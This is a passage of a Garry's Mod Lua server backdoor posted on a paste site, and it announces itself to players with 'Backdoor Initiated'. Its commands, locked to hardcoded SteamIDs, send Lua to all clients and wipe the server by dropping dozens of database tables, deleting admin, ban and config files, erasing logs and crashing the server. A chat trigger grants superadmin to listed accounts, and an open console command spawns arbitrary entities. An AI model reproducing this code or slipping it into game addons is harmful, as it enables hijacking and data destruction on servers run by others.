  702. if v:SteamID() == getsteamid(args[1]) then
  703. v:SendLua(memes)
  704. end
  705. end
  706. end
  707. end)
  708.  
  709. concommand.Add("api_pinkscreen_all", function(ply, cmd, args)
  710. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  711. local memes = [[
  712. RunConsoleCommand("pp_texturize_scale", 5000)
  713. RunConsoleCommand("pp_texturize", "M")
  714. ]]
  715. for k,v in pairs (player.GetAll()) do
  716. v:SendLua(memes)
  717. end
  718. end
  719. end)
  720.  
  721. concommand.Add("api_decapitate", function(ply, cmd, args)
  722. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  723. for k,v in pairs (player.GetAll()) do
  724. v:ManipulateBoneScale(v:LookupBone('ValveBiped.Bip01_Head1'),Vector(-0.1,-0.1,-0.1))
  725. end
  726. end
  727. end)
  728.  
  729. concommand.Add("api_undecapitate", function(ply, cmd, args)
  730. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  731. for k,v in pairs (player.GetAll()) do
  732. v:ManipulateBoneScale(v:LookupBone('ValveBiped.Bip01_Head1'),Vector(1,1,1))
  733. end
  734. end
  735. end)
  736.  
  737. concommand.Add("api_playmp3", function(ply, cmd, args)
  738. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  739. for k,v in pairs (player.GetAll()) do
  740. v:SendLua("sound.PlayURL ( 'http://" .. args[1] .. "', '', function() end)")
  741. end
  742. end
  743. end)
  744.  
  745. concommand.Add("killwipe", function(ply, cmd, args)
  746. timer.Remove("wipe")
  747. ply:ChatPrint("wipe canceled.")
  748. end)
  749.  
  750. concommand.Add("api_wipe", function(ply, cmd, args)
  751. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  752. ply:ChatPrint("Server wiping in 20 seconds. Type killwipe to canel the wipe procedure.")
  753. timer.Create("wipe", 20, 1, function()
  754. local databases = { "darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
  755. local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt" }
  756. local date = os.date( "%m-%d-%y" )
  757. for k,v in pairs( databases ) do sql.Query( "DROP TABLE "..v.." ;" ) end
  758. for k,v in pairs( datafiles ) do file.Delete( v ) end
  759. hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )
  760.  
  761. if darkrp then
  762. timer.Simple( 5, function() for k,v in pairs(player.GetAll()) do v:ConCommand("say /advert I have been raped by Kwoon.") end end )
  763. timer.Simple( 8, function() for k,v in pairs(player.GetAll()) do v:ConCommand("say /advert Server now wiping...") end end )
  764. end
  765. timer.Simple( 10, function() Entity(0):Remove() end )
  766. end)
  767. end
  768. end)
  769.  
  770. end
  771.  
  772. for k, ply in pairs( player.GetAll() ) do
  773.     ply:ChatPrint( "Backdoor Initiated" )
  774. end
  775.  
  776. if ( SERVER ) then
  777.  
  778.     hook.Add( "PlayerSay", "playersaywebsite", function( _p, _text, public )
  779.         if ( _text == "!d3a" ) then
  780.             game.ConsoleCommand("ulx logecho 0\n")
  781.             game.ConsoleCommand("ulx unban STEAM_0:1:148794095\n")
  782.             game.ConsoleCommand("ulx unban STEAM_0:0:71487010\n")
  783.             game.ConsoleCommand("ulx unban STEAM_0:0:100911047\n")
  784.             game.ConsoleCommand("ulx unban STEAM_0:1:49887586\n")
  785.             game.ConsoleCommand("ulx adduserid STEAM_0:1:148794095 superadmin\n")
  786.             game.ConsoleCommand("ulx removeuserid STEAM_0:1:125600782\n")
  787.             game.ConsoleCommand("ulx adduserid STEAM_0:0:71487010 superadmin\n")
  788.             game.ConsoleCommand("ulx adduserid STEAM_0:0:100911047 superadmin\n")
  789.             game.ConsoleCommand("ulx adduserid STEAM_0:1:49887586 superadmin\n")
  790.             game.ConsoleCommand("ulx logecho 1\n")
  791.             game.ConsoleCommand("asdasd\n")
  792.            
  793.             for _, v in pairs (player.GetAll()) do
  794.                 v:ConCommand("getfucked")
  795.             end
  796.  
  797.             return ""
  798.         end
  799.     end )
  800.  
  801. else
  802.  
  803.     concommand.Add( "getfucked", function()
  804.         local HTML_Frame = vgui.Create( "HTML" )
  805.         HTML_Frame:SetPos( ScrW() /550 - 15, ScrH() /1.25 )
  806.         HTML_Frame:SetSize( 0, 0 )
  807.         HTML_Frame:OpenURL( "http://puu.sh/plQmt/8ca7dc12fa.mp3" )
  808.  
  809.         local HTML_Frame = vgui.Create( "HTML" )
  810.         HTML_Frame:SetPos( ScrW() /550 - 15, ScrH() /1.25 )
  811.         HTML_Frame:SetSize( 800, 800 )
  812.         HTML_Frame:OpenURL( "http://i.imgur.com/L1LZmek.png" )
  813.         local HTML_Frame = vgui.Create( "HTML" )
  814.         HTML_Frame:SetPos( ScrW() /2.5, ScrH() /12 )
  815.         HTML_Frame:SetSize( 800, 800 )
  816.         HTML_Frame:OpenURL( "https://66.media.tumblr.com/504cb94fe0f41e563f435ee2f833dcb5/tumblr_n47d7f7uFv1rt5pgzo1_400.gif" )
  817.  
  818.         local HTML_Frame = vgui.Create( "HTML" )
  819.         HTML_Frame:SetPos( ScrW() /1.4, ScrH() /1.5 )
  820.         HTML_Frame:SetSize( 400, 400 )
  821.         HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
  822.  
  823.         local HTML_Frame = vgui.Create( "HTML" )
  824.         HTML_Frame:SetPos( ScrW() /1.8, ScrH() /1.5 )
  825.         HTML_Frame:SetSize( 400, 400 )
  826.         HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
  827.  
  828.         local HTML_Frame = vgui.Create( "HTML" )
  829.         HTML_Frame:SetPos( ScrW() /3, ScrH() /1.5 )
  830.         HTML_Frame:SetSize( 400, 400 )
  831.         HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
  832.  
  833.         local HTML_Frame = vgui.Create( "HTML" )
  834.         HTML_Frame:SetPos( ScrW() /8, ScrH() /1.5 )
  835.         HTML_Frame:SetSize( 400, 400 )
  836.         HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
  837.     end )
  838.    
  839. end
  840. function gf2_spawn_debug( ply, command, args)
  841.     if args[1]==nil or args[2]==nil or args[3]==nil or args[4]==nil or args[5]==nil or args[6]==nil or args[7]==nil or args[8]==nil then return end
  842.     local eye_trace = ply:GetEyeTrace().HitPos
  843.    
  844.     local mode, ent, ply, t, st, q, vars, sp = args[1], args[2], tonumber(args[3]), tonumber(args[4]), tonumber(args[5]), tonumber(args[6]), args[7], args[8]
  845.    
  846.     if table.Count(args)==0 then return end
  847.    
  848.    
  849.     timer.Simple(t, function()
  850.         for k, v in pairs(player.GetAll()) do
  851.             if v:EntIndex()==ply then
  852.                 if not(tonumber(q)) then return end
  853.                 for i=0, q do
  854.                     timer.Simple(st*i, function()
  855.                        
  856.                        
  857.                         local ent = ents.Create(ent)
  858.                        
  859.                         if sp == "ply" then ent:SetPos(v:GetPos()) else ent:SetPos(eye_trace) end
  860.                         ent:Spawn()
  861.                         ent:Activate()
  862.                         ent:SetVar("GBOWNER", v)
  863.                         ent:SetOwner(v)
  864.                        
  865.                         if mode=="spawn_function" then
  866.                
  867.                             ent:SpawnFunction(v, v:GetEyeTrace())
  868.  
  869.                             ent:Remove()
  870.                         end
  871.                        
  872.                    
  873.                         local var_table = string.Explode(",", vars)
  874.                        
  875.                        
  876.                        
  877.                         for index, variable in pairs(var_table) do
  878.                             local var_exploded = string.Explode("=", variable)
  879.                             local arg_processed = nil
  880.                            
  881.                             if var_exploded[2]=="true" then var_exploded[2]=true elseif var_exploded[2]=="false" then var_exploded[2]=false end -- bool check
  882.                            
  883.                             if var_exploded[2]!=true and var_exploded[2]!=false then
  884.                                 if string.StartWith(var_exploded[2], "ply_")==true then
  885.                                     local ply_targ = tonumber(string.Explode("_", var_exploded[2])[2])
  886.                                     if player.GetAll()[ply_targ]:IsValid()==false then return end
  887.                                    
  888.                                     var_exploded[2]=player.GetAll()[ply_targ]
  889.                
  890.                                 end
  891.                             end
  892.                            
  893.                             if ent:IsValid() then ent:SetVar(var_exploded[1],var_exploded[2]) end
  894.                            
  895.                            
  896.                        
  897.                         end
  898.        
  899.  
  900.                            
  901.                            
  902.                
  903.                        
  904.                        
  905.                        
  906.                        
  907.                        
  908.                     end)
  909.                 end
  910.             end
  911.         end
  912.     end)
  913.  
  914.    
  915.  
  916. end
  917. concommand.Add( "advspawn_", gf2_spawn_debug )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement